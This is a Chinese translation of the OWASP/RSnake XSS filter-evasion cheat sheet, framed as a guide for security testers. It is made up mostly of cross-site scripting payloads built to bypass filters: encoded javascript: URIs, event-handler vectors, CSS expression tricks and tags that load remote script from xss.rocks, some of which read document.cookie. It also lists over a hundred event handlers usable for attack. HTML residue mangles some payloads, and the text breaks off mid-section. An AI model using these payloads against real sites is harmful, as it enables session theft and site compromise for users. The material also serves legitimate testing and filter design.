XSS过滤绕过速查表

https://github.com/masatokinugawa/filterbypass/wiki/Browser's-XSS-Filter-Bypass-Cheat-Sheet

github 找的 ~


1.介绍

这篇文章的主要目的是给专业安全测试人员提供一份跨站脚本漏洞检测指南。文章的初始内容是由RSnake提供给 OWASP,内容基于他的XSS备忘录:http://ha.ckers.org/xss.html。目前这个网页已经重定向到OWASP网站,将由OWASP维护和完善它。OWASP 的第一个防御备忘录项目:XSS (Cross Site Scripting)Prevention Cheat Sheet 灵感来源于 RSnake 的 XSS Cheat Sheet,所以我们对他给予我们的启发表示感谢。我们想要去创建短小简单的参考给开发者以便帮助他们预防 XSS漏洞,而不是简单的告诉他们需要使用复杂的方法构建应用来预防各种千奇百怪的攻击,这也是OWASP 备忘录系列诞生的原因。

2.测试

这份备忘录是为那些已经理解XSS攻击,但是想要了解关于绕过过滤器方法之间细微差别的人准备的。

请注意大部分的跨站脚本攻击向量已经在其代码下方给出的浏览器列表中进行测试。

2.1.  XSS定位器

在大多数存在漏洞且不需要特定XSS攻击代码的地方插入下列代码会弹出包含“XSS”字样的对话框。使用URL编码器来对整个代码进行编码。小技巧:如果你时间很紧想要快速检查页面,通常只要插入“<任意文本>”标签,然后观察页面输出是否明显改变了就可以判断是否存在漏洞:

‘;alert(String.fromCharCode(88,83,83))//’;alert(String.fromCharCode(88,83,83))//”;

alert(String.fromCharCode(88,83,83))//”;alert(String.fromCharCode(88,83,83))//–

>”>’>

2.2.  XSS定位器(短)

如果你没有足够的空间并且知道页面上没有存在漏洞的JavaScript,这个字符串是一个不错的简洁XSS注入检查。注入后查看页面源代码并且寻找是否存在<XSS字样来确认是否存在漏洞

”;!–”=&{()}

2.3.  无过滤绕过

这是一个常规的XSS注入代码,虽然通常它会被防御,但是建议首先去测试一下。(引号在任何现代浏览器中都不需要,所以这里省略了它):

2.4.  利用多语言进行过滤绕过

‘”>>”>

</p> <p><script>prompt(1)</script>@gmail.com<isindex formaction=javascript:alert(/XSS/) type=submit>’–>”></script></p> <p><script>alert(document.cookie)</script>”></p> <p><img/id=”confirm&lpar;1)”/alt=”/”src=”/”οnerrοr=eval(id)>’”></p> <p><img src=”http://www.shellypalmer.com/wp-content/images/2015/07/hacked-compressor.jpg“></p> </blockquote> <div class="simditor-table"></div> <h3>2.5.  通过JavaScript命令实现的图片XSS</h3> <p>图片注入使用JavaScript命令实现(IE7.0 不支持在图片上下文中使用JavaScript 命令,但是可以在其他上下文触发。下面的例子展示了一种其他标签依旧通用的原理):</p> <blockquote> <p><IMG SRC=”javascript:alert(‘XSS’);”> </p> </blockquote> <div class="simditor-table"></div> <h3>2.6.  无分号无引号</h3> <blockquote> <p><IMG SRC=javascript:alert(‘XSS’)> </p> </blockquote> <div class="simditor-table"></div> <h3>2.7.  不区分大小写的XSS攻击向量</h3> <blockquote> <p><IMG SRC=JaVaScRiPt:alert(‘XSS’)> </p> </blockquote> <div class="simditor-table"></div> <h3>2.8.  HTML实体</h3> <p>必须有分号才可生效</p> <blockquote> <p><IMG SRC=javascript:alert(&quot;XSS&quot;)> </p> </blockquote> <div class="simditor-table"></div> <h3>2.9.  重音符混淆</h3> <p>如果你的JavaScript代码中需要同时使用单引号和双引号,那么可以使用重音符(`)来包含JavaScript 代码。这通常会有很大帮助,因为大部分跨站脚本过滤器都没有过滤这个字符:</p> <blockquote> <p><IMG SRC=`javascript:alert(“RSnake says, ‘XSS’”)`> </p> </blockquote> <div class="simditor-table"></div> <h3>2.10.    畸形的A标签</h3> <p>跳过HREF标签找到XSS的重点。。。由DavidCross提交~已在Chrome上验证</p> <blockquote> <p><a οnmοuseοver=”alert(document.cookie)”>xxs link</a> </p> </blockquote> <div class="simditor-table"></div> <p>此外Chrome经常帮你补全确实的引号。。。如果在这方面遇到问题就直接省略引号,Chrome会帮你补全在URL或脚本中缺少的引号。</p> <blockquote> <p><a οnmοuseοver=alert(document.cookie)>xxs link</a> </p> </blockquote> <div class="simditor-table"></div> <h3>2.11.    畸形的IMG标签</h3> <p>最初由Begeek发现(短小精湛适用于所有浏览器),这个XSS攻击向量使用了不严格的渲染引擎来构造含有IMG标签并被引号包含的XSS攻击向量。我猜测这种解析原来是为了兼容不规范的编码。这会让它更加难以正确的解析HTML标签:</p> <blockquote> <p><IMG “”"><SCRIPT>alert(“XSS”)</SCRIPT>”> </p> </blockquote> <div class="simditor-table"></div> <h3>2.12.    fromCharCode函数</h3> <p>如果不允许任何形式的引号,你可以通过执行JavaScript里的fromCharCode函数来创建任何你需要的XSS攻击向量:</p> <blockquote> <p><IMG SRC=javascript:alert(String.fromCharCode(88,83,83))> </p> </blockquote> <div class="simditor-table"></div> <h3>2.13.    使用默认SRC属性绕过SRC域名过滤器</h3> <p>这种方法可以绕过大多数SRC域名过滤器。将JavaScript代码插入事件方法同样适用于注入使用elements的任何HTML标签,例如Form,Iframe, Input, Embed等等。它同样允许将事件替换为任何标签中可用的事件类型,例如onblur,onclick。下面会给出许多不同的可注入事件列表。由David Cross提交,Abdullah Hussam(@Abdulahhusam)编辑。</p> <blockquote> <p><IMG SRC=# οnmοuseοver=”alert(‘xxs’)”> </p> </blockquote> <div class="simditor-table"></div> <h3>2.14.    使用默认为空的SRC属性</h3> <blockquote> <p><IMG SRC= οnmοuseοver=”alert(‘xxs’)”> </p> </blockquote> <div class="simditor-table"></div> <h3>2.15.    使用不含SRC属性</h3> <blockquote> <p><IMG οnmοuseοver=”alert(‘xxs’)”> </p> </blockquote> <div class="simditor-table"></div> <h3>2.16.    通过error事件触发alert</h3> <blockquote> <p><IMG SRC=/ οnerrοr=”alert(String.fromCharCode(88,83,83))”></img> </p> </blockquote> <div class="simditor-table"></div> <h3>2.17.    对IMG标签中onerror属性进行编码</h3> <blockquote> <p><img src=x οnerrοr=”&#0000106&#0000097&#0000118&#0000097&#0000115&#0000099&#0000114&#0000105&#0000112&#0000116&#0000058&#0000097&#0000108&#0000101&#0000114&#0000116&#0000040&#0000039&#0000088&#0000083&#0000083&#0000039&#0000041″></p> </blockquote> <div class="simditor-table"></div> <h3>2.18.    十进制HTML字符实体编码</h3> <p>所有在IMG标签里直接使用javascript:形式的XSS示例无法在Firefox或Netscape8.1以上浏览器(使用Gecko渲染引擎)运行。</p> <blockquote> <p style="text-align:justify;"><IMG SRC=&#106;&#97;&#118;&#97;&#115;&#99;&#114;&#105;&#112;&#116;&#58;&#97;&#108;&#101;&#114;&#116;&#40;</p> <p style="text-align:justify;">&#39;&#88;&#83;&#83;&#39;&#41;></p> </blockquote> <div class="simditor-table"></div> <h3>2.19.    不带分号的十进制HTML字符实体编码</h3> <p>这对于绕过对“&#XX;”形式的XSS过滤非常有用,因为大多数人不知道最长可使用7位数字。这同样对例如$tmp_string =~s/.*\&#(\d+);.*/$1/;形式的过滤器有效,这种过滤器是错误的认为HTML字符实体编码需要用分号结尾(无意中发现的):</p> <blockquote> <p style="text-align:justify;"><IMG SRC=&#0000106&#0000097&#0000118&#0000097&#0000115&#0000099&#0000114&#0000105&#0000112&#0000116&#0000058&#0000097&</p> <p style="text-align:justify;">#0000108&#0000101&#0000114&#0000116&#0000040&#0000039&#0000088&#0000083&#0000083&#0000039&#0000041></p> </blockquote> <div class="simditor-table"></div> <h3>2.20.    不带分号的十六进制HTML字符实体编码</h3> <p>这是有效绕过例如$tmp_string =~ s/.*\&#(\d+);.*/$1/;过滤器的方法。这种过滤器错误的认为#号后会跟着数字(十六进制HTML字符实体编码并非如此)</p> <blockquote> <p><IMG SRC=&#x6A&#x61&#x76&#x61&#x73&#x63&#x72&#x69&#x70&#x74&#x3A&#x61&#x6C&#x65&#x72&#x74&#x28&#x27&#x58&#x53&#x53&#x27&#x29></p> </blockquote> <div class="simditor-table"></div> <h3>2.21.    内嵌TAB</h3> <p>使用TAB来分开XSS攻击代码:</p> <blockquote> <p><IMG SRC=”jav ascript:alert(‘XSS’);”> </p> </blockquote> <div class="simditor-table"></div> <h3>2.22.    内嵌编码后TAB</h3> <p>使用编码后的TAB来分开XSS攻击代码:</p> <blockquote> <p><IMG SRC=”jav&#x09;ascript:alert(‘XSS’);”> </p> </blockquote> <div class="simditor-table"></div> <h3>2.23.    内嵌换行分隔XSS攻击代码</h3> <p>一些网站声称09到13(十进制)的HTML实体字符都可以实现这种攻击,这是不正确的。只有09(TAB),10(换行)和13(回车)有效。查看ASCII字符表获取更多细节。下面几个XSS示例介绍了这些向量。</p> <blockquote> <p><IMG SRC=”jav&#x0A;ascript:alert(‘XSS’);”> </p> </blockquote> <div class="simditor-table"></div> <h3>2.24.    内嵌回车分隔XSS攻击代码</h3> <p>注意:上面使用了比实际需要长的字符串是因为0可以忽略。经常可以遇到过滤器解码十六进制和十进制编码时认为只有2到3位字符。实际规则是1至7位字符:</p> <blockquote> <p><IMG SRC=”jav&#x0D;ascript:alert(‘XSS’);”> </p> </blockquote> <div class="simditor-table"></div> <h3>2.25.    使用空字符分隔JavaScript指令</h3> <p>空字符同样可以作为XSS攻击向量,但和上面有所区别,你需要使用一些例如Burp工具或在URL字符串里使用%00,亦或你想使用VIM编写自己的注入工具(^V^@会生成空字符),还可以通过程序生成它到一个文本文件。老版本的Opera浏览器(例如Windows版的7.11)还会受另一个字符173(软连字符)的影响。但是空字符%00更加有用并且能帮助绕过真实世界里的过滤器,例如这个例子里的变形:</p> <blockquote> <p>perl -e ‘print “<IMG SRC=java\0script:alert(\”XSS\”)>”;’ > out </p> </blockquote> <div class="simditor-table"></div> <h3>2.26.    利用IMG标签中JavaScript指令前的空格和元字符</h3> <p>如果过滤器不计算”javascript:”前的空格,这是正确的,因为它们不会被解析,但这点非常有用。因为这会造成错误的假设,就是引号和”javascript:”字样间不能有任何字符。实际情况是你可以插入任何十进制的1至32号字符:</p> <blockquote> <p><IMG SRC=” &#14;  javascript:alert(‘XSS’);”> </p> </blockquote> <div class="simditor-table"></div> <h3>2.27.    利用非字母非数字字符</h3> <p>FireFox的HTML解析器认为HTML关键词后不能有非字母非数字字符,并且认为这是一个空白或在HTML标签后的无效符号。但问题是有的XSS过滤器认为它们要查找的标记会被空白字符分隔。例如”<SCRIPT\s” != “<SCRIPT/XSS\s”:</p> <blockquote> <p><SCRIPT/XSS SRC=”http://xss.rocks/xss.js“></SCRIPT></p> </blockquote> <div class="simditor-table"></div> <p>基于上面的原理,可以使用模糊测试进行扩展。Gecko渲染引擎允许任何字符包括字母,数字或特殊字符(例如引号,尖括号等)存在于事件名称和等号之间,这会使得更加容易绕过跨站脚本过滤。注意这同样适用于下面看到的重音符:</p> <blockquote> <p><BODY onload!#$%&()*~+-_.,:;?@[/|\]^`=alert(“XSS”)> </p> </blockquote> <div class="simditor-table"></div> <p>Yair Amit让我注意到了IE和Gecko渲染引擎有一点不同行为,在于是否在HTML标签和参数之间允许一个不含空格的斜杠。这会非常有用如果系统不允许空格的时候。</p> <blockquote> <p><SCRIPT/SRC=”http://xss.rocks/xss.js“></SCRIPT></p> </blockquote> <div class="simditor-table"></div> <h3>2.28.    额外的尖括号</h3> <p>由Franz Sedlmaier提交,这个XSS攻击向量可以绕过某些检测引擎,比如先查找第一个匹配的尖括号,然后比较里面的标签内容,而不是使用更有效的算法,例如Boyer-Moore算法就是查找整个字符串中的尖括号和相应标签(当然是通过模糊匹配)。双斜杠注释了额外的尖括号来防止出现JavaScript错误:</p> <blockquote> <p><<SCRIPT>alert(“XSS”);//<</SCRIPT> </p> </blockquote> <div class="simditor-table"></div> <h3>2.29.    未闭合的script标签</h3> <p>在Firefox和Netscape 8.1的Gecko渲染引擎下你不是必须构造类似“></SCRIPT>”的跨站脚本攻击向量。Firefox假定闭合HTML标签是安全的并且会为你添加闭合标记。多么体贴!不像不影响Firefox的下一个问题,这不需要在后面有额外的HTML标签。如果需要可以添加引号,但通常是没有必要的,需要注意的是,我并不知道这样注入后HTML会什么样子结束:</p> <blockquote> <p><SCRIPT SRC=http://xss.rocks/xss.js?< B ></p> </blockquote> <div class="simditor-table"></div> <h3>2.30.    script标签中的协议解析</h3> <p>这个特定的变体是由Łukasz Pilorz提交的并且基于Ozh提供的协议解析绕过。这个跨站脚本示例在IE和Netscape的IE渲染模式下有效,如果添加了</SCRIPT>标记在Opera中也可以。这在输入空间有限的情况下是非常有用的,你所使用的域名越短越好。”.j”是可用的,在SCRIPT标签中不需要考虑编码类型因为浏览器会自动识别。</p> <blockquote> <p><SCRIPT SRC=//xss.rocks/.j> </p> </blockquote> <div class="simditor-table"></div> <h3>2.31.    只含左尖括号的HTML/JavaScript XSS向量</h3> <p>IE渲染引擎不像Firefox,不会向页面中添加额外数据。但它允许在IMG标签中直接使用javascript。这对构造攻击向量是很有用的,因为不需要闭合尖括号。这使得有任何HTML标签都可以进行跨站脚本攻击向量注入。甚至可以不使用”>”闭合标签。注意:这会让HTML页面变得混乱,具体程度取决于下面的HTML标签。这可以绕过以下NIDS正则:/((\%3D)|(=))[^\n]*((\%3C)|<)[^\n]+((\%3E)|>)/因为不需要”>”闭合。另外在实际对抗XSS过滤器的时候,使用一个半开放的<IFRAME标签替代<IMG标签也是非常有效的。</p> <blockquote> <p><IMG SRC=”javascript:alert(‘XSS’)” </p> </blockquote> <div class="simditor-table"></div> <h3>2.32.    多个左尖括号</h3> <p>使用一个左尖括号替代右尖括号作为标签结尾的攻击向量会在不同浏览器的Gecko渲染引擎下有不同表现。没有左尖括号时,在Firefox中生效,而在Netscape中无效。</p> <blockquote> <p><iframe src=http://xss.rocks/scriptlet.html <</p> </blockquote> <div class="simditor-table"></div> <h3>2.33.    JavaScript双重转义</h3> <p>当应用将一些用户输入输出到例如:<SCRIPT>var a=”$ENV{QUERY_STRING}”;</SCRIPT>的JavaScript中时,你想注入你的JavaScript脚本,你可以通过转义转义字符来规避服务器端转义引号。注入后会得到<SCRIPT>vara=”\\”;alert(‘XSS’);//”;</SCRIPT>,这时双引号不会被转义并且可以触发跨站脚本攻击向量。XSS定位器就用了这种方法:</p> <blockquote> <p>\”;alert(‘XSS’);// </p> </blockquote> <div class="simditor-table"></div> <p>另一种情况是,如果内嵌数据进行了正确的JSON或JavaScript转义,但没有HTML编码,那可以结束原有脚本块并开始你自己的:</p> <blockquote> <p></script><script>alert(‘XSS’);</script> </p> </blockquote> <div class="simditor-table"></div> <h3>2.34.    闭合title标签</h3> <p>这是一个简单的闭合<TITLE>标签的XSS攻击向量,可以包含恶意的跨站脚本攻击:</p> <blockquote> <p></TITLE><SCRIPT>alert(“XSS”);</SCRIPT> </p> </blockquote> <div class="simditor-table"></div> <h3>2.35.    INPUT image</h3> <blockquote> <p><INPUT TYPE=”IMAGE” SRC=”javascript:alert(‘XSS’);”> </p> </blockquote> <h3></h3> <div class="simditor-table"></div> <h3></h3> <h3>2.36.    BODY image</h3> <blockquote> <p><BODY BACKGROUND=”javascript:alert(‘XSS’)”> </p> </blockquote> <h3></h3> <div class="simditor-table"></div> <h3></h3> <h3>2.37.    IMG Dynsrc</h3> <blockquote> <p><IMG DYNSRC=”javascript:alert(‘XSS’)”> </p> </blockquote> <h3></h3> <div class="simditor-table"></div> <h3></h3> <h3>2.38.    IMG lowsrc</h3> <blockquote> <p><IMG LOWSRC=”javascript:alert(‘XSS’)”> </p> </blockquote> <h3></h3> <div class="simditor-table"></div> <h3></h3> <h3>2.39.    List-style-image</h3> <h3></h3> <p>处理嵌入的图片列表是很麻烦的问题。由于JavaScript指令的原因只能在IE渲染引擎下有效。不是一个特别有用的跨站脚本攻击向量:</p> <blockquote> <p><STYLE>li {list-style-image: url(“javascript:alert(‘XSS’)”);}</STYLE><UL><LI>XSS</br></p> </blockquote> <div class="simditor-table"></div> <h3>2.40.    图片中引用VBscript</h3> <blockquote> <p><IMG SRC=’vbscript:msgbox(“XSS”)’> </p> </blockquote> <h3></h3> <div class="simditor-table"></div> <h3></h3> <h3>2.41.    Livescript (仅限旧版本Netscape)</h3> <blockquote> <p><IMG SRC=”livescript:[code]"> </p> </blockquote> <h3></h3> <div class="simditor-table"></div> <h3></h3> <h3>2.42.    SVG对象标签</h3> <blockquote> <p><svg/οnlοad=alert('XSS')> </p> </blockquote> <h3></h3> <div class="simditor-table"></div> <h3></h3> <h3>2.43.    ECMAScript 6</h3> <blockquote> <p>Set.constructor`alert\x28document.domain\x29``` </p> </blockquote> <h3></h3> <div class="simditor-table"></div> <h3></h3> <h3>2.44.    BODY标签</h3> <p>这个方法不需要使用任何例如"javascript:"或"<SCRIPT..."语句来完成XSS攻击。Dan Crowley特别提醒你可以在等号前加入一个空格("οnlοad=" != "onload ="):</p> <blockquote> <p><BODY ONLOAD=alert('XSS')> </p> </blockquote> <div class="simditor-table"></div> <h3>2.45.    事件处理程序</h3> <p>在XSS攻击中可使用以下事件(在完稿的时候这是网上最全的列表了)。感谢ReneLedosquet的更新。</p> <blockquote> <p>1.    FSCommand() (攻击者当需要在嵌入的Flash对象中执行时可以使用此事件)</p> <p>2.    onAbort() (当用户中止加载图片时)</p> <p>3.    onActivate() (当对象激活时)</p> <p>4.    onAfterPrint() (用户打印或进行打印预览后触发)</p> <p>5.    onAfterUpdate() (从数据源对象更新数据后由数据对象触发)</p> <p>6.    onBeforeActivate() (在对象设置为激活元素前触发)</p> <p>7.    onBeforeCopy() (攻击者在选中部分拷贝到剪贴板前执行攻击代码-攻击者可以通过执行execCommand("Copy")函数触发)</p> <p>8.    onBeforeCut() (攻击者在选中部分剪切到剪贴板前执行攻击代码)</p> <p>9.    onBeforeDeactivate() (在当前对象的激活元素变化前触发)</p> <p>10.  onBeforeEditFocus() (在一个包含可编辑元素的对象进入激活状态时或一个可编辑的对象被选中时触发)</p> <p>11.  onBeforePaste() (在用户被诱导进行粘贴前或使用execCommand("Paste")函数触发)</p> <p>12.  onBeforePrint() (用户需要被诱导进行打印或攻击者可以使用print()或execCommand("Print")函数).</p> <p>13.  onBeforeUnload() (用户需要被诱导关闭浏览器-除非从父窗口执行,否则攻击者不能关闭当前窗口)</p> <p>14.  onBeforeUpdate() (从数据源对象更新数据前由数据对象触发)</p> <p>15.  onBegin() (当元素周期开始时由onbegin 事件立即触发)</p> <p>16.  onBlur() (另一个窗口弹出当前窗口失去焦点时触发)</p> <p>17.  onBounce() (当marquee对象的behavior属性设置为“alternate”且字幕的滚动内容到达窗口一边时触发)</p> <p>18.  onCellChange() (当数据提供者的数据变化时触发)</p> <p>19.  onChange() (select,text, 或TEXTAREA字段失去焦点并且值发生变化时触发)</p> <p>20.  onClick() (表单中点击触发)</p> <p>21.  onContextMenu() (用户需要在攻击区域点击右键)</p> <p>22.  onControlSelect() (当用户在一个对象上创建控件选中区时触发)</p> <p>23.  onCopy() (用户需要复制一些东西或使用execCommand("Copy")命令时触发)</p> <p>24.  onCut() (用户需要剪切一些东西或使用execCommand("Cut")命令时触发)</p> <p>25.  onDataAvailable() (用户需要修改元素中的数据,或者由攻击者提供的类似功能)</p> <p>26.  onDataSetChanged() (当数据源对象变更导致数据集发生变更时触发)</p> <p>27.  onDataSetComplete() (数据源对象中所有数据可用时触发)</p> <p>28.  onDblClick() (用户双击一个表单元素或链接)</p> <p>29.  onDeactivate() (在激活元素从当前对象转换到父文档中的另一个对象时触发)</p> <p>30.  onDrag() (在元素正在拖动时触发)</p> <p>31.  onDragEnd() (当用户完成元素的拖动时触发)</p> <p>32.  onDragLeave() (用户在拖动元素离开放置目标时触发)</p> <p>33.  onDragEnter() (用户将对象拖拽到合法拖曳目标)</p> <p>34.  onDragOver() (用户将对象拖拽划过合法拖曳目标)</p> <p>35.  onDragDrop() (用户将一个对象(例如文件)拖拽到浏览器窗口)</p> <p>36.  onDragStart() (当用户开始拖动元素时触发)</p> <p>37.  onDrop() (当拖动元素放置在目标区域时触发)</p> <p>38.  onEnded() (在视频/音频(audio/video)播放结束时触发)</p> <p>39.  onError() (在加载文档或图像时发生错误)</p> <p>40.  onErrorUpdate() (当从数据源对象更新相关数据遇到错误时在数据绑定对象上触发)</p> <p>41.  onFilterChange() (当滤镜完成状态变更时触发)</p> <p>42.  onFinish() (当marquee完成滚动时攻击者可以执行攻击)</p> <p>43.  onFocus() (当窗口获得焦点时攻击者可以执行攻击代码)</p> <p>44.  onFocusIn() (当元素将要被设置为焦点之前触发)</p> <p>45.  onFocusOut() (攻击者可以在窗口失去焦点时触发攻击代码)</p> <p>46.  onHashChange() (当锚部分发生变化时触发攻击代码)</p> <p>47.  onHelp() (攻击者可以在用户在当前窗体激活时按下F1触发攻击代码)</p> <p>48.  onInput() (在 <input> 或 <textarea> 元素的值发生改变时触发)</p> <p>49.  onKeyDown() (用户按下一个键的时候触发)</p> <p>50.  onKeyPress() (在键盘按键被按下并释放一个键时触发)</p> <p>51.  onKeyUp() (用户释放一个键时触发)</p> <p>52.  onLayoutComplete() (用户进行完打印或打印预览时触发)</p> <p>53.  onLoad() (攻击者在窗口加载后触发攻击代码)</p> <p>54.  onLoseCapture() (可以由releaseCapture()方法触发)</p> <p>55.  onMediaComplete() (当一个流媒体文件使用时,这个事件可以在文件播放前触发)</p> <p>56.  onMediaError() (当用户在浏览器中打开一个包含媒体文件的页面,出现问题时触发事件)</p> <p>57.  onMessage() (当页面收到一个信息时触发事件)</p> <p>58.  onMouseDown() (攻击者需要让用户点击一个图片触发事件)</p> <p>59.  onMouseEnter() (光标移动到一个对象或区域时触发)</p> <p>60.  onMouseLeave() (攻击者需要让用户光标移动到一个图像或表格然后移开来触发事件)</p> <p>61.  onMouseMove() (攻击者需要让用户将光标移到一个图片或表格)</p> <p>62.  onMouseOut() (攻击者需要让用户光标移动到一个图像或表格然后移开来触发事件)</p> <p>63.  onMouseOver() (光标移动到一个对象或区域)</p> <p>64.  onMouseUp() (攻击者需要让用户点击一个图片)</p> <p>65.  onMouseWheel() (攻击者需要让用户使用他们的鼠标滚轮)</p> <p>66.  onMove() (用户或攻击者移动页面时触发)</p> <p>67.  onMoveEnd() (用户或攻击者移动页面结束时触发)</p> <p>68.  onMoveStart() (用户或攻击者开始移动页面时触发)</p> <p>69.  onOffline() (当浏览器从在线模式切换到离线模式时触发)</p> <p>70.  onOnline() (当浏览器从离线模式切换到在线模式时触发)</p> <p>71.  onOutOfSync() (当元素与当前时间线失去同步时触发)</p> <p>72.  onPaste() (用户进行粘贴时或攻击者可以使用execCommand("Paste")函数时触发)</p> <p>73.  onPause() (在视频或音频暂停时触发)</p> <p>74.  onPopState() (在窗口的浏览历史(history 对象)发生改变时触发)</p> <p>75.  onProgress() (攻击者可以在一个FLASH加载时触发事件)</p> <p>76.  onPropertyChange() (用户或攻击者需要改变元素属性时触发)</p> <p>77.  onReadyStateChange() (每次 readyState 属性变化时被自动调用)</p> <p>78.  onRedo() (用户返回上一页面时触发)</p> <p>79.  onRepeat() (事件在播放完重复播放时触发)</p> <p>80.  onReset() (用户或攻击者重置表单时触发)</p> <p>81.  onResize() (用户改变窗口大小时,攻击者可以自动以这种方法触发:<SCRIPT>self.resizeTo(500,400);</SCRIPT>)</p> <p>82.  onResizeEnd() (用户完成改变窗体大小时触发)</p> <p>83.  onResizeStart() (用户开始改变窗体大小时触发)</p> <p>84.  onResume() (当元素继续播放时触发)</p> <p>85.  onReverse() (当元素回放时触发)</p> <p>86.  onRowsEnter() (用户或攻击者需要改变数据源中的一行)</p> <p>87.  onRowExit() (用户或攻击者改变数据源中的一行后退出时触发)</p> <p>88.  onRowDelete() (用户或攻击者需要删除数据源中的一行)</p> <p>89.  onRowInserted() (user or attacker would needto insert a row in a data source)</p> <p>90.  onScroll() (用户需要滚动或攻击者使用scrollBy()函数)</p> <p>91.  onSeek() (当用户在元素上执行查找操作时触发)</p> <p>92.  onSelect() (用户需要选择一些文本-攻击者可以以此方式触发: window.document.execCommand("SelectAll");)</p> <p>93.  onSelectionChange() (当用户选择文本变化时触发-攻击者可以以此方式触发: window.document.execCommand("SelectAll");)</p> <p>94.  onSelectStart() (当用户开始选择文本时触发-攻击者可以以此方式触发: window.document.execCommand("SelectAll");)</p> <p>95.  onStart() (在marquee 对象开始循环时触发)</p> <p>96.  onStop() (当用户按下停止按钮或离开页面时触发)</p> <p>97.  onStorage() (当Web Storage更新时触发)</p> <p>98.  onSyncRestored() (当元素与它的时间线恢复同步时触发)</p> <p>99.  onSubmit() (需要用户或攻击者提交表单)</p> <p>100.onTimeError() (用户或攻击者设置时间属性出现错误时触发)</p> <p>101.onTrackChange() (用户或攻击者改变播放列表内歌曲时触发)</p> <p>102.onUndo() (用户返回上一浏览记录页面时触发)</p> <p>103.onUnload() (用户点击任意链接或按下后退按钮或攻击者强制进行点击时触发)</p> <p>104.onURLFlip() (当一个高级流媒体格式(ASF)文件,由一个HTML+TIME(基于时间交互的多媒体扩展)媒体标签播放时,可触发在ASF文件中内嵌的攻击脚本)</p> <p>105.seekSegmentTime() (这是一个方法可以定位元素某个时间段内中的特定的点,并可以从该点播放。这个段落包含了一个重复的时间线,并包括使用AUTOREVERSE属性进行反向播放。)</p> </blockquote> <h3>2.46.    BGSOUND</h3> <blockquote> <p><BGSOUND SRC="javascript:alert('XSS');"> </p> </blockquote> <h3></h3> <div class="simditor-table"></div> <h3></h3> <h3>2.47.    & JavaScript包含</h3> <blockquote> <p><BR SIZE="&{alert('XSS')}"> </p> </blockquote> <h3></h3> <div class="simditor-table"></div> <h3></h3> <h3>2.48.    样式表</h3> <blockquote> <p><LINK REL="stylesheet" HREF="javascript:alert('XSS');"> </p> </blockquote> <h3></h3> <div class="simditor-table"></div> <h3></h3> <h3>2.49.    远程样式表</h3> <h3></h3> <p>(利用像远程样式表一样简单的形式,你可以将XSS攻击代码包含在可使用内置表达式进行重定义的样式参数里。)这只在IE和使用IE渲染模式Netscape8.1+。注意这里没有任何元素在页面中表明这页面包含了JavaScript。提示:这些远程样式表都使用了body标签,所以必须在页面中有除了攻击向量以外的内容存在时才会生效, 也就是如果是空白页的话你必须在页面添加一个字母来让攻击代码生效:</p> <blockquote> <p><LINK REL="stylesheet" HREF="http://xss.rocks/xss.css"></p> </blockquote> <div class="simditor-table"></div> <h3>2.50.    远程样式表2</h3> <p>这个和上面一样有效,不过使用了<STYLE>标签替代<LINK>标签. 这个细微的变化曾经用来攻击谷歌桌面。另一方面,如果在攻击向量后有HTML标签闭合攻击向量,你可以移除末尾的</STYLE>标签。在进行跨站脚本攻击时,如不能同时使用等号或斜杠,这是非常有用的,这种情况在现实世界里不止一次发生了:</p> <blockquote> <p><STYLE>@import'http://xss.rocks/xss.css';</STYLE></p> </blockquote> <div class="simditor-table"></div> <h3>2.51.    远程样式表3</h3> <p>这种方式仅在Opera 8.0(9.x不可以)中有效,但方法比较有创意. 根据RFC2616,设置一个Link头部不是HTTP1.1规范的一部分,但一些浏览器仍然允许这样做 (例如Firefox和  Opera). 这里的技巧是设置一个头部(和普通头部并没有什么区别,只是设置Link: <http://xss.rocks/xss.css>; REL=stylesheet)并且在远程样式表中包含使用了JavaScript的跨站脚本攻击向量,这一点是FireFox不支持的:</p> <blockquote> <p><META HTTP-EQUIV="Link" Content="<http://xss.rocks/xss.css>; REL=stylesheet"></p> </blockquote> <div class="simditor-table"></div> <h3>2.52.    远程样式表4</h3> <p>这仅能在Gecko渲染引擎下有效并且需要在父页面绑定一个XML文件。具有讽刺意味的是 Netscape认为Gecko更安全 ,所以对绝大多数网站来说会受到漏洞影响:</p> <blockquote> <p><STYLE>BODY{-moz-binding:url("http://xss.rocks/xssmoz.xml#xss")}</STYLE></p> </blockquote> <div class="simditor-table"></div> <h3>2.53.    含有分隔JavaScript的STYLE标签</h3> <p>这个XSS会在IE中造成无限循环:</p> <blockquote> <p><STYLE>@im\port'\ja\vasc\ript:alert("XSS")';</STYLE> </p> </blockquote> <div class="simditor-table"></div> <h3>2.54.    STYLE属性中使用注释分隔表达式</h3> <p>由Roman Ivanov创建</p> <blockquote> <p><IMG STYLE="xss:expr/*XSS*/ession(alert('XSS'))"> </p> </blockquote> <div class="simditor-table"></div> <h3>2.55.    含表达式的IMG STYLE</h3> <p>这是一个将上面XSS攻击向量混合的方法,但确实展示了STYLE标签可以用相当复杂的方式分隔,和上面一样,也会让IE进入死循环:</p> <blockquote> <p style="text-align:justify;">exp/*<A STYLE='no\xss:noxss("*//*");</p> <p style="text-align:justify;">xss:ex/*XSS*//*/*/pression(alert("XSS"))'></p> </blockquote> <div class="simditor-table"></div> <h3>2.56.    STYLE标签(仅旧版本Netscape可用)</h3> <blockquote> <p><STYLE TYPE="text/javascript">alert('XSS');</STYLE> </p> </blockquote> <h3></h3> <div class="simditor-table"></div> <h3></h3> <h3>2.57.    使用背景图像的STYLE标签</h3> <blockquote> <p><STYLE>.XSS{background-image:url("javascript:alert('XSS')");}</STYLE><A CLASS=XSS></A></p> </blockquote> <h3></h3> <div class="simditor-table"></div> <h3></h3> <h3>2.58.    使用背景的STYLE标签</h3> <blockquote> <p><STYLE type="text/css">BODY{background:url("javascript:alert('XSS')")}</STYLE></p> </blockquote> <h3></h3> <div class="simditor-table"></div> <h3></h3> <h3>2.59.    含STYLE属性的HTML任意标签</h3> <p>IE6.0和IE渲染引擎模式下的Netscape 8.1+并不关心你建立的HTML标签是否存在,只要是由尖括号和字母开始的即可:</p> <blockquote> <p><XSS STYLE="behavior: url(xss.htc);"> </p> </blockquote> <div class="simditor-table"></div> <h3>2.60.    本地htc文件</h3> <p>这和上面两个跨站脚本攻击向量有些不同,因为它使用了一个必须和XSS攻击向量在相同服务器上的.htc文件。这个示例文件通过下载JavaScript并将其作为style属性的一部分运行来进行攻击:</p> <blockquote> <p><XSS STYLE="behavior: url(xss.htc);"> </p> </blockquote> <div class="simditor-table"></div> <h3>2.61.    US-ASCII编码</h3> <p>US-ASCII编码(由Kurt 